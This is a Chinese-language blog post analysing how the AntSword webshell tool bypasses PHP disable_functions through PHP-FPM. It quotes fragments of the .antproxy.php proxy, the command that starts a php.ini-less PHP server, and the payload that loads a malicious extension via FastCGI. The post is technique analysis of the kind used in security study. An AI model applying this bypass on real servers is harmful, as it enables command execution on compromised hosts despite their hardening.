蚁剑AntSword命令执行增强：Bypass Disable Functions

发表于 2019年07月18日
周边
更新于 2019年09月30日 10:16:05 上午

目录表

蚁剑AntSword Bypass Disable Functions

在昨天，蚁剑AntSword更新了新姿势「Bypass Disable Functions」，提供了另一种攻击思路，我们来过一遍。

原理分析

基于蚁剑的 FastCGI/PHP-FPM 模式和 AntSword-Labs 5 环境。蚁剑在服务器上传了 1 个 so 库和一个.antproxy.php，看下.antproxy.php代码：

<?php
        set_time_limit(120);
        $aAccess = curl_init();
        curl_setopt($aAccess, CURLOPT_URL, "http://127.0.0.1:60049/index.php?".$_SERVER['QUERY_STRING']);
...

<?php

set_time_limit(120);

$aAccess = curl_init();

curl_setopt($aAccess, CURLOPT_URL, "http://127.0.0.1:60049/index.php?".$_SERVER['QUERY_STRING']);

...

正如文件名，就是代理向 127.0.0.1:60049 的 index.php 发送请求，60049 居然还有 Web, 看下是什么东西

ss 看不到（为什么看不到？）

蚁剑AntSword命令执行增强：Bypass Disable Functions

ps 可以

/bin/sh -c php -n -S 127.0.0.1:60049 -t /var/www/html

看来是开启了一个新的 PHP Server，-n 就是不使用 php.ini，从而实现了 bypass disable_functions。大致推测出是利用之前上传的 so 库实现的命令执行，然后跑了个 PHP Server。

下面看下蚁剑干了什么，仓库在这里，主要代码在 core/php_fpm/index.js 里了，启动 PHP Server 的代码，然后生成 ext 传到服务器上

let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
...
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
let fileBuffer = self.generateExt(cmd);

let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000

...

let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;

let fileBuffer = self.generateExt(cmd);

构造攻击 PHP-FPM 的 Payload，加载扩展库

var payload = `${FastCgiClient()};
    $content="";
    $client = new Client('${fpm_host}',${fpm_port});
    ...
    'PHP_VALUE' => 'extension=${p}',
    'PHP_ADMIN_VALUE' => 'extension=${p}',